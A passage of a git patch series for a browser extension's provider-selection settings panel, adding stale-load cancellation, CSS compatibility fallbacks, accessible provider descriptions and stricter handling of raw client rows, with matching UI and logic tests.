driven by a separate custom combobox). +// native select), as is modelProvider (the visible Providers radio roster +// mirrors that compatibility select). // After loadSettings' async storage callback assigns `.value` on the underlying // native +

@@ -203,73 +203,73 @@

API providers

diff --git a/tests/providers-panel-ui.test.js b/tests/providers-panel-ui.test.js index 1324b85a2..216c6a29a 100644 --- a/tests/providers-panel-ui.test.js +++ b/tests/providers-panel-ui.test.js @@ -113,6 +113,19 @@ providerLabels.forEach((label, index) => { assert.strictEqual(attribute(label.slice(0, label.indexOf('>') + 1), 'data-provider-kind'), expectedContract[index].kind); assert.strictEqual(attribute(label.slice(0, label.indexOf('>') + 1), 'data-provider-id'), expectedContract[index].id); assert.doesNotMatch(label, /<(?:a|button|select|textarea)\b/i, 'provider labels contain no nested secondary controls'); + const nameSpan = label.match(/]*\bid="([^"]+)"[^>]*\bclass="provider-row__name"[^>]*>([^<]+)<\/span>/); + const radio = label.match(/]*\bname="fsbProviderSelection"[^>]*>/); + assert.ok(nameSpan && radio, 'provider row contains a named span and radio'); + assert.strictEqual(attribute(radio[0], 'aria-labelledby'), nameSpan[1], + 'radio accessible name resolves only from its stable provider-name span'); + assert.strictEqual(nameSpan[2], PROVIDERS.getProviderDefinition(expectedContract[index].kind, expectedContract[index].id).displayName, + 'stable accessible name is exactly the provider display name'); + const dynamicBadges = label.match(/]*\bclass="provider-badge [^"]+"[^>]*>/g) || []; + assert.strictEqual(dynamicBadges.length, 2); + dynamicBadges.forEach((badge) => { + assert.strictEqual(attribute(badge, 'aria-hidden'), 'true', + 'changing recommendation and evidence text is excluded from the radio name'); + }); }); const modelProviderMatch = HTML.match(/]*\bid="modelProvider"[^>]*>[\s\S]*?<\/select>/); From b1f72090185a6e28cb1c5f731ccb2c1e7d506fab Mon Sep 17 00:00:00 2001 From: Lakshman Date: Sun, 12 Jul 2026 17:14:48 -0500 Subject: [PATCH 063/581] fix(58): WR-04 cancel stale API load callbacks --- extension/ui/options.js | 28 ++++++++++++++--- tests/providers-panel-ui.test.js | 53 +++++++++++++++++++++++++++++--- 2 files changed, 71 insertions(+), 10 deletions(-) diff --git a/extension/ui/options.js b/extension/ui/options.js index 6a9a22eca..aa8ce035e 100644 --- a/extension/ui/options.js +++ b/extension/ui/options.js @@ -133,6 +133,8 @@ const providerPanelState = { let providerEvidenceRefreshPromise = null; let providerEvidenceRefreshDebounceHandle = null; const PROVIDER_EVIDENCE_TIMEOUT_MS = 5000; +let providerSettingsModelLoadTimer = null; +let providerSettingsLoadGeneration = 0; // Initialize analytics let analytics = null; @@ -767,22 +769,31 @@ function runApiProviderSelectionPath(provider, previousSelection, silentIfNoKey) updateApiKeyVisibility(provider); } +function cancelPendingProviderSettingsModelLoad() { + providerSettingsLoadGeneration += 1; + if (providerSettingsModelLoadTimer !== null) { + clearTimeout(providerSettingsModelLoadTimer); + providerSettingsModelLoadTimer = null; + } +} + function setProviderSelection(kind, id, { markDirty = true } = {}) { const helper = getProviderPanelHelper(); if (!helper) return false; + const validSelection = kind === 'api' + ? helper.isApiProvider(id) + : (kind === 'agent' && helper.isAgentProvider(id)); + if (!validSelection) return false; + if (markDirty) cancelPendingProviderSettingsModelLoad(); if (kind === 'api') { - if (!helper.isApiProvider(id)) return false; const previousSelection = elements.modelName?.value; providerPanelState.providerKind = 'api'; if (elements.modelProvider) elements.modelProvider.value = id; runApiProviderSelectionPath(id, previousSelection, !markDirty); } else if (kind === 'agent') { - if (!helper.isAgentProvider(id)) return false; providerPanelState.providerKind = 'agent'; providerPanelState.agentProviderId = id; - } else { - return false; } renderProviderSelection(); @@ -1866,9 +1877,12 @@ function stageLatentApiModel(modelName) { } function loadSettings() { + cancelPendingProviderSettingsModelLoad(); + const loadGeneration = providerSettingsLoadGeneration; chrome.storage.local.get(Object.keys(defaultSettings), async (data) => { data = data || {}; fsbRecommendedAgentCap = await resolveRecommendedAgentCap(); + if (loadGeneration !== providerSettingsLoadGeneration) return; const hasStoredAgentCap = Object.prototype.hasOwnProperty.call(data, 'fsbAgentCap') && typeof data.fsbAgentCap === 'number' && Number.isFinite(data.fsbAgentCap); @@ -1902,7 +1916,11 @@ function loadSettings() { // Update model name if (elements.modelName && settings.modelName) { // Wait for options to be populated - setTimeout(() => { + providerSettingsModelLoadTimer = setTimeout(() => { + providerSettingsModelLoadTimer = null; + if (loadGeneration !== providerSettingsLoadGeneration + || providerPanelState.providerKind !== 'api' + || elements.modelProvider?.value !== settings.modelProvider) return; elements.modelName.value = settings.modelName; if (typeof globalThis !== 'undefined' && globalThis.FSBModelCombobox) { globalThis.FSBModelCombobox.refresh(); diff --git a/tests/providers-panel-ui.test.js b/tests/providers-panel-ui.test.js index 216c6a29a..bec05ce74 100644 --- a/tests/providers-panel-ui.test.js +++ b/tests/providers-panel-ui.test.js @@ -271,6 +271,9 @@ assert.ok(loadSource.indexOf('normalizeSettings(mergedSettings)') < loadSource.i 'settings normalize before controls render'); assert.match(loadSource, /setProviderSelection\(settings\.providerKind, activeProviderId, \{ markDirty: false \}\)/); assert.match(loadSource, /if \(settings\.providerKind === 'api'\)[\s\S]*checkApiConnection\(\)/); +assert.match(loadSource, + /providerPanelState\.providerKind !== 'api'[\s\S]*elements\.modelProvider\?\.value !== settings\.modelProvider/, + 'delayed API load rechecks current kind and provider before applying saved model state'); assert.match(saveSource, /providerKind:\s*normalizedProviderSettings\.providerKind/); assert.match(saveSource, /agentProviderId:\s*normalizedProviderSettings\.agentProviderId/); assert.match(saveSource, /modelProvider:\s*elements\.modelProvider\?\.value \|\| 'xai'/); @@ -563,6 +566,8 @@ function createProviderHarness(initialStorage, harnessOptions) { const runtimeCalls = []; const pendingRuntimeCallbacks = []; const scheduledTimeoutDelays = []; + const heldTimeouts = new Map(); + let nextHeldTimeoutId = -1; const openedSetupPages = []; let runtimeResponse = Object.prototype.hasOwnProperty.call(options, 'runtimeResponse') ? options.runtimeResponse @@ -622,6 +627,20 @@ function createProviderHarness(initialStorage, harnessOptions) { create(properties) { openedSetupPages.push({ ...properties }); } } }; + function setHarnessTimeout(fn, delay) { + scheduledTimeoutDelays.push(delay || 0); + if (Array.isArray(options.heldTimerDelays) && options.heldTimerDelays.includes(delay)) { + const id = nextHeldTimeoutId; + nextHeldTimeoutId -= 1; + heldTimeouts.set(id, { fn, delay }); + return id; + } + return setTimeout(fn, delay === 5000 ? 1 : 0); + } + function clearHarnessTimeout(handle) { + if (heldTimeouts.delete(handle)) return; + clearTimeout(handle); + } const context = { console, document, @@ -630,11 +649,8 @@ function createProviderHarness(initialStorage, harnessOptions) { FSBProvidersPanel: PROVIDERS, FSBAnalytics: function() {}, Event: class { constructor(type) { this.type = type; } }, - setTimeout(fn, delay) { - scheduledTimeoutDelays.push(delay || 0); - return setTimeout(fn, delay === 5000 ? 1 : 0); - }, - clearTimeout, + setTimeout: setHarnessTimeout, + clearTimeout: clearHarnessTimeout, requestAnimationFrame(fn) { return setTimeout(fn, 0); }, cancelAnimationFrame: clearTimeout, location: { hash: '' }, @@ -720,6 +736,14 @@ function createProviderHarness(initialStorage, harnessOptions) { emitStorage(changes, area) { storageListeners.slice().forEach((listener) => listener(changes, area)); }, + advanceTimersBy(delay) { + const ready = Array.from(heldTimeouts.entries()) + .filter(([, timer]) => timer.delay === delay); + ready.forEach(([id, timer]) => { + if (!heldTimeouts.delete(id)) return; + timer.fn(); + }); + }, state() { return vm.runInContext('providerPanelState', context); }, dashboardState() { return vm.runInContext('dashboardState', context); } }; @@ -839,6 +863,25 @@ async function runProviderRuntimeTests() { 'invalid user agent id is rejected'); assert.strictEqual(selectedRadio(harness).dataset.providerId, currentSelection, 'invalid selection cannot disturb current choice'); + + const delayedLoad = createProviderHarness({ + providerKind: 'api', + modelProvider: 'anthropic', + modelName: 'saved-api-model' + }, { heldTimerDelays: [100] }); + delayedLoad.context.loadSettings(); + await Promise.resolve(); + await Promise.resolve(); + delayedLoad.modelName.appendChild(makeOption('agent-kept-model', 'agent-kept-model')); + delayedLoad.modelName.value = 'agent-kept-model'; + delayedLoad.context.setProviderSelection('agent', 'codex'); + const connectionBeforeDelayedLoad = delayedLoad.calls.connection; + delayedLoad.advanceTimersBy(100); + assert.strictEqual(delayedLoad.state().providerKind, 'agent'); + assert.strictEqual(delayedLoad.modelName.value, 'agent-kept-model', + 'cancelled saved-API timer cannot overwrite a model after switching to agent'); + assert.strictEqual(delayedLoad.calls.connection, connectionBeforeDelayedLoad, + 'cancelled saved-API timer cannot run an API connection check in agent mode'); } function visibleRecommendationIds(harness) { From f5cc9cd10c035b6acd556bb2b6cd65b4d3d6fe8e Mon Sep 17 00:00:00 2001 From: Lakshman Date: Sun, 12 Jul 2026 17:16:27 -0500 Subject: [PATCH 064/581] fix(58): WR-05 restore Chrome 88 row styling --- extension/ui/options.css | 22 +++++++++++++++++----- tests/providers-panel-ui.test.js | 12 ++++++++++++ 2 files changed, 29 insertions(+), 5 deletions(-) diff --git a/extension/ui/options.css b/extension/ui/options.css index 4dc23f9e6..3c460bc7f 100644 --- a/extension/ui/options.css +++ b/extension/ui/options.css @@ -5821,16 +5821,22 @@ textarea.form-input { border-color: var(--border-hover); } -.provider-row.is-selected, -.provider-row:has(.provider-radio:checked) { +.provider-row.is-selected { background: var(--primary-light); border-color: var(--primary-color); } -.provider-row:has(.provider-radio:focus-visible) { +.provider-row:focus-within { box-shadow: var(--fsb-focus-ring); } +@supports selector(.provider-row:has(.provider-radio:checked)) { + .provider-row:has(.provider-radio:checked) { + background: var(--primary-light); + border-color: var(--primary-color); + } +} + .provider-row__content { display: flex; flex: 1 1 auto; @@ -6094,12 +6100,18 @@ textarea.form-input { border-color: var(--border-color); } -[data-theme="dark"] .provider-row.is-selected, -[data-theme="dark"] .provider-row:has(.provider-radio:checked) { +[data-theme="dark"] .provider-row.is-selected { background: var(--primary-light); border-color: var(--primary-color); } +@supports selector(.provider-row:has(.provider-radio:checked)) { + [data-theme="dark"] .provider-row:has(.provider-radio:checked) { + background: var(--primary-light); + border-color: var(--primary-color); + } +} + @media (min-width: 900px) { .provider-groups { grid-template-columns: repeat(2, minmax(0, 1fr)); diff --git a/tests/providers-panel-ui.test.js b/tests/providers-panel-ui.test.js index bec05ce74..4e3a32a87 100644 --- a/tests/providers-panel-ui.test.js +++ b/tests/providers-panel-ui.test.js @@ -240,6 +240,18 @@ assert.match(providerCss, /padding:\s*16px/); assert.match(providerCss, /gap:\s*12px/); assert.match(providerCss, /border:\s*2px solid var\(--border-color\)/); assert.match(providerCss, /border-color:\s*var\(--primary-color\)/); +assert.match(providerCss, + /(?:^|\n)\.provider-row\.is-selected\s*\{[^}]*background:\s*var\(--primary-light\);[^}]*border-color:\s*var\(--primary-color\);[^}]*\}/, + 'Chrome 88 receives selected styling from a standalone class rule'); +assert.doesNotMatch(providerCss, /\.provider-row\.is-selected\s*,[^\{]*:has\(/, + 'the compatibility selected rule never shares a selector list with :has()'); +assert.match(providerCss, /\.provider-row:focus-within\s*\{[^}]*var\(--fsb-focus-ring\)/, + 'Chrome 88 receives row focus styling through focus-within'); +assert.match(providerCss, /@supports selector\(\.provider-row:has\(\.provider-radio:checked\)\)/, + ':has() selected-state enhancement is feature-gated'); +assert.doesNotMatch(providerCss, + /\[data-theme="dark"\] \.provider-row\.is-selected\s*,[^\{]*:has\(/, + 'dark-mode selected baseline also remains independent of :has()'); assert.match(providerCss, /\.provider-badge--recommended[\s\S]*var\(--info-light\)/); assert.match(providerCss, /var\(--fsb-focus-ring\)/); assert.match(providerCss, /@media \(min-width: 900px\)/); From 12a80db9f5a93a55daf465a8aa7ac7d44c7cb272 Mon Sep 17 00:00:00 2001 From: Lakshman Date: Sun, 12 Jul 2026 17:27:04 -0500 Subject: [PATCH 065/581] fix(58): WR-01 preserve semantic provider badge colors --- extension/ui/options.css | 3 +-- tests/providers-panel-ui.test.js | 7 +++++++ 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/extension/ui/options.css b/extension/ui/options.css index 3c460bc7f..04134de15 100644 --- a/extension/ui/options.css +++ b/extension/ui/options.css @@ -5922,8 +5922,7 @@ textarea.form-input { border-color: var(--error-color); } -.provider-badge--neutral, -.provider-badge--status { +.provider-badge--neutral { color: var(--text-muted); background: var(--bg-tertiary); border-color: var(--border-color); diff --git a/tests/providers-panel-ui.test.js b/tests/providers-panel-ui.test.js index 4e3a32a87..f8b4bf762 100644 --- a/tests/providers-panel-ui.test.js +++ b/tests/providers-panel-ui.test.js @@ -253,6 +253,13 @@ assert.doesNotMatch(providerCss, /\[data-theme="dark"\] \.provider-row\.is-selected\s*,[^\{]*:has\(/, 'dark-mode selected baseline also remains independent of :has()'); assert.match(providerCss, /\.provider-badge--recommended[\s\S]*var\(--info-light\)/); +const neutralBadgeRule = providerCss.match(/\.provider-badge--neutral\s*\{[^}]*\}/); +assert.ok(neutralBadgeRule, 'neutral evidence badge has an explicit fallback rule'); +assert.doesNotMatch(neutralBadgeRule[0], /\.provider-badge--status/, + 'permanent status base class cannot override semantic evidence modifiers'); +assert.doesNotMatch(providerCss, + /\.provider-badge--neutral\s*,\s*\.provider-badge--status\s*\{/, + 'neutral colors are never grouped with the permanent status base class'); assert.match(providerCss, /var\(--fsb-focus-ring\)/); assert.match(providerCss, /@media \(min-width: 900px\)/); assert.match(providerCss, /@media \(max-width: 640px\)/); From 32e1508a258a272f9782408ed83ae0c06e8be029 Mon Sep 17 00:00:00 2001 From: Lakshman Date: Sun, 12 Jul 2026 17:29:51 -0500 Subject: [PATCH 066/581] fix(58): WR-02 expose stable provider descriptions --- extension/ui/control_panel.html | 30 +++++++++++++------- extension/ui/options.js | 48 ++++++++++++++++++++++++++++++++ tests/providers-panel-ui.test.js | 39 +++++++++++++++++++++++++- 3 files changed, 106 insertions(+), 11 deletions(-) diff --git a/extension/ui/control_panel.html b/extension/ui/control_panel.html index e5245be66..d2a034958 100644 --- a/extension/ui/control_panel.html +++ b/extension/ui/control_panel.html @@ -172,8 +172,9 @@

Agent CLIs

+ - + @@ -208,8 +211,9 @@

API providers

+ - + diff --git a/extension/ui/options.js b/extension/ui/options.js index aa8ce035e..3b90b140e 100644 --- a/extension/ui/options.js +++ b/extension/ui/options.js @@ -231,6 +231,7 @@ function cacheElements() { elements.providerSelectionRadios = document.querySelectorAll('input[name="fsbProviderSelection"]'); elements.providerRecommendationBadges = document.querySelectorAll('[data-provider-recommendation]'); elements.providerEvidenceBadges = document.querySelectorAll('[data-provider-evidence]'); + elements.providerDescriptions = document.querySelectorAll('[data-provider-description]'); elements.refreshProviderStatusBtn = document.getElementById('refreshProviderStatusBtn'); elements.providerEvidenceAnnouncement = document.getElementById('providerEvidenceAnnouncement'); elements.apiProviderDetails = document.getElementById('apiProviderDetails'); @@ -450,6 +451,51 @@ function requestMcpClients() { }); } +function getProviderBadgeByData(badges, dataKey, providerId) { + let match = null; + Array.prototype.some.call(badges || [], (badge) => { + if (badge.dataset?.[dataKey] !== providerId) return false; + match = badge; + return true; + }); + return match; +} + +function renderProviderAccessibleDescriptions() { + const helper = getProviderPanelHelper(); + if (!helper) return; + const descriptions = elements.providerDescriptions || []; + + Array.prototype.forEach.call(descriptions, (description) => { + const providerId = description.dataset?.providerDescription; + const parts = []; + const recommendationBadge = getProviderBadgeByData( + elements.providerRecommendationBadges, + 'providerRecommendation', + providerId + ); + if (recommendationBadge && !recommendationBadge.hidden) { + parts.push('Recommended.'); + } + + if (helper.isAgentProvider(providerId)) { + const evidenceBadge = getProviderBadgeByData( + elements.providerEvidenceBadges, + 'providerEvidence', + providerId + ); + const evidenceText = evidenceBadge && !evidenceBadge.hidden + ? String(evidenceBadge.textContent || '').trim() + : ''; + if (evidenceText) { + parts.push(/[.!?โ€ฆ]$/.test(evidenceText) ? evidenceText : `${evidenceText}.`); + } + } + + description.textContent = parts.join(' '); + }); +} + function renderProviderRecommendation() { const helper = getProviderPanelHelper(); const recommendation = providerPanelState.recommendation; @@ -467,6 +513,7 @@ function renderProviderRecommendation() { shown = true; } }); + renderProviderAccessibleDescriptions(); } function setProviderEvidenceBadgeClass(badge, status) { @@ -580,6 +627,7 @@ function renderProviderEvidence() { } } }); + renderProviderAccessibleDescriptions(); if (elements.agentEvidenceEmptyState) { const absenceConfirmed = providerPanelState.evidenceStatus === 'ready' diff --git a/tests/providers-panel-ui.test.js b/tests/providers-panel-ui.test.js index f8b4bf762..41a141350 100644 --- a/tests/providers-panel-ui.test.js +++ b/tests/providers-panel-ui.test.js @@ -114,10 +114,16 @@ providerLabels.forEach((label, index) => { assert.strictEqual(attribute(label.slice(0, label.indexOf('>') + 1), 'data-provider-id'), expectedContract[index].id); assert.doesNotMatch(label, /<(?:a|button|select|textarea)\b/i, 'provider labels contain no nested secondary controls'); const nameSpan = label.match(/]*\bid="([^"]+)"[^>]*\bclass="provider-row__name"[^>]*>([^<]+)<\/span>/); + const descriptionSpan = label.match(/]*\bid="([^"]+)"[^>]*\bclass="visually-hidden"[^>]*\bdata-provider-description="([^"]+)"[^>]*><\/span>/); const radio = label.match(/]*\bname="fsbProviderSelection"[^>]*>/); - assert.ok(nameSpan && radio, 'provider row contains a named span and radio'); + assert.ok(nameSpan && descriptionSpan && radio, + 'provider row contains stable name and description spans plus its radio'); assert.strictEqual(attribute(radio[0], 'aria-labelledby'), nameSpan[1], 'radio accessible name resolves only from its stable provider-name span'); + assert.strictEqual(attribute(radio[0], 'aria-describedby'), descriptionSpan[1], + 'radio references its stable recommendation and evidence description'); + assert.strictEqual(descriptionSpan[2], expectedContract[index].id, + 'description state is keyed to the same closed provider id'); assert.strictEqual(nameSpan[2], PROVIDERS.getProviderDefinition(expectedContract[index].kind, expectedContract[index].id).displayName, 'stable accessible name is exactly the provider display name'); const dynamicBadges = label.match(/]*\bclass="provider-badge [^"]+"[^>]*>/g) || []; @@ -320,6 +326,7 @@ const requestClientsSource = extractFunction(JS, 'requestMcpClients'); const refreshEvidenceSource = extractFunction(JS, 'refreshProviderEvidence'); const recommendationRenderSource = extractFunction(JS, 'renderProviderRecommendation'); const evidenceRenderSource = extractFunction(JS, 'renderProviderEvidence'); +const descriptionRenderSource = extractFunction(JS, 'renderProviderAccessibleDescriptions'); const otherClientsRenderSource = extractFunction(JS, 'renderOtherMcpClients'); const agentDetailsRenderSource = extractFunction(JS, 'renderSelectedAgentDetails'); const setupGuideSource = extractFunction(JS, 'openAgentSetupGuide'); @@ -344,6 +351,10 @@ assert.ok( assert.doesNotMatch(recommendationRenderSource, /setProviderSelection|\.checked\s*=|modelProvider|chrome\.storage|markUnsavedChanges/, 'recommendation rendering cannot write selection or settings'); +assert.match(descriptionRenderSource, /description\.textContent\s*=/, + 'accessible descriptions are populated through text-only DOM assignment'); +assert.doesNotMatch(descriptionRenderSource, /innerHTML|insertAdjacentHTML/, + 'recommendation and evidence descriptions cannot interpret markup'); assert.match(evidenceRenderSource, /status\.checkedAt/); assert.doesNotMatch(evidenceRenderSource, /lastSeenAt|connectedAt|lastClickedAt/, 'evidence rendering cannot substitute non-installed timestamps'); @@ -487,6 +498,7 @@ function createProviderHarness(initialStorage, harnessOptions) { const radios = []; const recommendationBadges = []; const evidenceBadges = []; + const providerDescriptions = []; const providerIds = [ ...PROVIDERS.AGENT_PROVIDER_IDS.map((id) => ['agent', id]), ...PROVIDERS.API_PROVIDER_IDS.map((id) => ['api', id]) @@ -511,15 +523,22 @@ function createProviderHarness(initialStorage, harnessOptions) { dataset: { providerEvidence: id }, textContent: 'Status unavailable' }); + const providerDescription = makeElement('provider-' + kind + '-' + id + '-description', { + classes: ['visually-hidden'], + dataset: { providerDescription: id } + }); radio._providerRow = row; row.appendChild(recommendationBadge); row.appendChild(evidenceBadge); + row.appendChild(providerDescription); row.appendChild(radio); providerRows.push(row); radios.push(radio); recommendationBadges.push(recommendationBadge); evidenceBadges.push(evidenceBadge); + providerDescriptions.push(providerDescription); registry[radio.id] = radio; + registry[providerDescription.id] = providerDescription; }); const providerRoster = makeElement('providerRoster', { tagName: 'fieldset' }); @@ -600,6 +619,7 @@ function createProviderHarness(initialStorage, harnessOptions) { if (selector === 'input[name="fsbProviderSelection"]') return radios; if (selector === '[data-provider-recommendation]') return recommendationBadges; if (selector === '[data-provider-evidence]') return evidenceBadges; + if (selector === '[data-provider-description]') return providerDescriptions; if (selector === '.form-select, .chart-select') return [modelProvider]; return []; }, @@ -703,6 +723,7 @@ function createProviderHarness(initialStorage, harnessOptions) { radios, recommendationBadges, evidenceBadges, + providerDescriptions, modelProvider, modelName, apiDetails, @@ -913,6 +934,12 @@ function evidenceBadge(harness, providerId) { return harness.evidenceBadges.find((badge) => badge.dataset.providerEvidence === providerId); } +function providerDescription(harness, providerId) { + return harness.providerDescriptions.find( + (description) => description.dataset.providerDescription === providerId + ); +} + async function runAgentDetailsTests() { console.log('Providers panel UI: honest agent account, setup, usage, and billing details'); const harness = createProviderHarness(); @@ -1026,6 +1053,10 @@ async function runProviderEvidenceTests() { assert.strictEqual(evidenceBadge(harness, 'claude-code').textContent, 'Connected now'); assert.strictEqual(evidenceBadge(harness, 'opencode').textContent, 'Connected now'); assert.strictEqual(evidenceBadge(harness, 'codex').textContent, 'Installed'); + assert.strictEqual(providerDescription(harness, 'claude-code').textContent, + 'Recommended. Connected now.'); + assert.strictEqual(providerDescription(harness, 'opencode').textContent, 'Connected now.'); + assert.strictEqual(providerDescription(harness, 'codex').textContent, 'Installed.'); assert.deepStrictEqual({ selected: selectedRadio(harness).dataset.providerId, modelProvider: harness.modelProvider.value, @@ -1048,6 +1079,9 @@ async function runProviderEvidenceTests() { assert.deepStrictEqual(visibleRecommendationIds(harness), ['xai'], 'historical-only evidence retains the xAI fallback recommendation'); assert.strictEqual(evidenceBadge(harness, 'claude-code').textContent, 'Seen before'); + assert.strictEqual(providerDescription(harness, 'claude-code').textContent, 'Seen before.'); + assert.strictEqual(providerDescription(harness, 'xai').textContent, 'Recommended.', + 'API fallback exposes recommendation as description without agent evidence text'); assert.strictEqual(evidenceBadge(harness, 'claude-code').getAttribute('title'), null, 'historical timestamp is never displayed as the installed check time'); @@ -1152,6 +1186,9 @@ async function runProviderEvidenceTests() { assert.strictEqual(selectedRadio(malformed).dataset.providerId, 'codex', 'malformed first response does not clear the checked agent radio'); assert.strictEqual(evidenceBadge(malformed, 'codex').textContent, 'Status unavailable'); + assert.strictEqual(providerDescription(malformed, 'codex').textContent, 'Status unavailable.', + 'unavailable agent evidence remains discoverable through the stable description'); + assert.strictEqual(providerDescription(malformed, 'xai').textContent, 'Recommended.'); assert.strictEqual(malformed.announcement.getAttribute('role'), 'status', 'background failure retains polite status semantics'); assert.strictEqual(malformed.announcement.getAttribute('aria-live'), 'polite'); From 245b6e9dab4b5c5a868a63ee0a06874ddab22a04 Mon Sep 17 00:00:00 2001 From: Lakshman Date: Sun, 12 Jul 2026 17:43:48 -0500 Subject: [PATCH 067/581] fix(58): WR-01 reject raw provider collisions --- extension/ui/options.js | 8 ++------ extension/ui/providers-panel.js | 10 +++++++--- tests/providers-panel-logic.test.js | 24 ++++++++++++++++++++++++ tests/providers-panel-ui.test.js | 28 ++++++++++++++++++++++++++++ 4 files changed, 61 insertions(+), 9 deletions(-) diff --git a/extension/ui/options.js b/extension/ui/options.js index 3b90b140e..77c40de07 100644 --- a/extension/ui/options.js +++ b/extension/ui/options.js @@ -541,12 +541,8 @@ function setProviderEvidenceBadgeClass(badge, status) { function hasSupportedAgentEvidence(helper) { return helper.AGENT_PROVIDER_IDS.some((providerId) => { const row = getOwnDataValue(providerPanelState.clients, providerId); - if (!isProviderDataRecord(row)) return false; - const installed = getOwnDataValue(row, 'installed'); - return isProviderDataRecord(getOwnDataValue(row, 'clicked')) - || (isProviderDataRecord(installed) && getOwnDataValue(installed, 'detected') === true) - || isProviderDataRecord(getOwnDataValue(row, 'connected')) - || isProviderDataRecord(getOwnDataValue(row, 'live')); + const status = helper.getAgentStatus(row); + return status.clicked || status.installed || status.seenBefore || status.live; }); } diff --git a/extension/ui/providers-panel.js b/extension/ui/providers-panel.js index ffbdaa9c7..0d425973f 100644 --- a/extension/ui/providers-panel.js +++ b/extension/ui/providers-panel.js @@ -139,8 +139,12 @@ return isRecord(clients) ? getOwnValue(clients, providerId) : undefined; } + function isCanonicalSupportedRow(row) { + return isRecord(row) && getOwnValue(row, 'raw') !== true; + } + function hasRecordEvidence(row, evidenceKey) { - return isRecord(row) && isRecord(getOwnValue(row, evidenceKey)); + return isCanonicalSupportedRow(row) && isRecord(getOwnValue(row, evidenceKey)); } function getRecommendation(clients) { @@ -159,7 +163,7 @@ for (index = 0; index < AGENT_PROVIDER_IDS.length; index++) { providerId = AGENT_PROVIDER_IDS[index]; row = getClientRow(clients, providerId); - var installed = isRecord(row) ? getOwnValue(row, 'installed') : undefined; + var installed = isCanonicalSupportedRow(row) ? getOwnValue(row, 'installed') : undefined; if (isRecord(installed) && getOwnValue(installed, 'detected') === true) { return { providerKind: 'agent', providerId: providerId, reason: 'installed' }; } @@ -177,7 +181,7 @@ } function getAgentStatus(row) { - var safeRow = isRecord(row) ? row : {}; + var safeRow = isCanonicalSupportedRow(row) ? row : {}; var live = isRecord(getOwnValue(safeRow, 'live')); var installedEvidence = getOwnValue(safeRow, 'installed'); var installed = isRecord(installedEvidence) diff --git a/tests/providers-panel-logic.test.js b/tests/providers-panel-logic.test.js index 93561646d..fc6298bd1 100644 --- a/tests/providers-panel-logic.test.js +++ b/tests/providers-panel-logic.test.js @@ -265,6 +265,30 @@ function main() { assertRecommendation(deepFreeze(hostileClients), { providerKind: 'api', providerId: 'xai', reason: 'fallback' }, 'unknown, raw, prototype-like, and malformed rows never become recommendations'); + for (const providerId of providers.AGENT_PROVIDER_IDS) { + const rawCollision = { + [providerId]: { + id: providerId, + raw: true, + live: {}, + installed: { detected: true, checkedAt: 99 }, + connected: {}, + clicked: {} + } + }; + assertRecommendation(deepFreeze(rawCollision), { + providerKind: 'api', providerId: 'xai', reason: 'fallback' + }, `raw collision under ${providerId} cannot recommend a canonical provider`); + assert.deepEqual(providers.getAgentStatus(rawCollision[providerId]), { + live: false, + installed: false, + seenBefore: false, + clicked: false, + primaryLabel: 'Not installed', + authLabel: 'Not reported', + checkedAt: null + }, `raw collision under ${providerId} has no canonical status`); + } const inheritedClients = Object.create({ 'claude-code': { live: {} } }); inheritedClients.codex = { clicked: {} }; assertRecommendation(inheritedClients, { diff --git a/tests/providers-panel-ui.test.js b/tests/providers-panel-ui.test.js index 41a141350..578c3003b 100644 --- a/tests/providers-panel-ui.test.js +++ b/tests/providers-panel-ui.test.js @@ -1109,6 +1109,34 @@ async function runProviderEvidenceTests() { 'no supported agent evidence reveals the exact static empty-state block'); assert.deepStrictEqual(visibleRecommendationIds(harness), ['xai']); + for (const providerId of PROVIDERS.AGENT_PROVIDER_IDS) { + harness.setRuntimeResponse({ + success: true, + clients: { + [providerId]: { + id: providerId, + raw: true, + displayName: 'Raw ' + providerId, + clicked: {}, + installed: { detected: true, checkedAt: 123 }, + connected: {}, + live: {} + } + } + }); + await harness.context.refreshProviderEvidence(); + assert.deepStrictEqual(visibleRecommendationIds(harness), ['xai'], + 'raw collision under ' + providerId + ' cannot become the canonical recommendation'); + assert.strictEqual(evidenceBadge(harness, providerId).textContent, 'Not installed', + 'raw collision under ' + providerId + ' cannot show canonical evidence'); + assert.strictEqual(harness.agentEmptyState.hidden, false, + 'raw collision under ' + providerId + ' cannot suppress the supported-agent empty state'); + assert.strictEqual(harness.otherSummary.textContent, 'Other MCP clients (1)'); + assert.deepStrictEqual(harness.otherList.children.map((item) => item.textContent), [ + 'Raw ' + providerId + ' โ€” Observed MCP client' + ], 'raw collision under ' + providerId + ' remains safely informational'); + } + harness.setRuntimeResponse({ success: true, clients: { From c8f6d040a094be767157a4f5e2a32a631c37b211 Mon Sep 17 00:00:00 2001 From: Lakshman Date: Sun, 12 Jul 2026 17:47:07 -0500 Subject: [PATCH 068/581] fix(58): WR-02 cancel stale API discovery --- extension/ui/options.js | 30 ++++++++ tests/providers-panel-ui.test.js | 126 +++++++++++++++++++++++++++++-- 2 files changed, 150 insertions(+), 6 deletions(-) diff --git a/extension/ui/options.js b/extension/ui/options.js index 77c40de07..4be83b1cb 100644 --- a/extension/ui/options.js +++ b/extension/ui/options.js @@ -813,6 +813,11 @@ function runApiProviderSelectionPath(provider, previousSelection, silentIfNoKey) updateApiKeyVisibility(provider); } +function invalidateProviderDiscovery() { + const ui = (typeof globalThis !== 'undefined') ? globalThis.FSBDiscoveryUI : null; + if (ui && typeof ui.invalidateDiscovery === 'function') ui.invalidateDiscovery(); +} + function cancelPendingProviderSettingsModelLoad() { providerSettingsLoadGeneration += 1; if (providerSettingsModelLoadTimer !== null) { @@ -829,6 +834,11 @@ function setProviderSelection(kind, id, { markDirty = true } = {}) { : (kind === 'agent' && helper.isAgentProvider(id)); if (!validSelection) return false; if (markDirty) cancelPendingProviderSettingsModelLoad(); + const previousKind = providerPanelState.providerKind; + const previousId = previousKind === 'agent' + ? providerPanelState.agentProviderId + : elements.modelProvider?.value; + if (previousKind !== kind || previousId !== id) invalidateProviderDiscovery(); if (kind === 'api') { const previousSelection = elements.modelName?.value; @@ -8154,6 +8164,7 @@ function initializeSyncSection() { const DEFAULT_DEBOUNCE_MS = 500; let _currentModels = []; let _currentSearchQuery = ''; + let _discoveryGeneration = 0; function _doc() { return (typeof document !== 'undefined') ? document : null; } @@ -8166,6 +8177,18 @@ function initializeSyncSection() { return (el && typeof el.value === 'string') ? el.value.trim() : ''; } + function invalidateDiscovery() { + _discoveryGeneration += 1; + } + + function _isDiscoveryCurrent(generation) { + return generation === _discoveryGeneration; + } + + function _cancelledDiscoveryResult(provider) { + return { ok: false, reason: 'cancelled', provider }; + } + function setDiscoveryStatus(state) { const doc 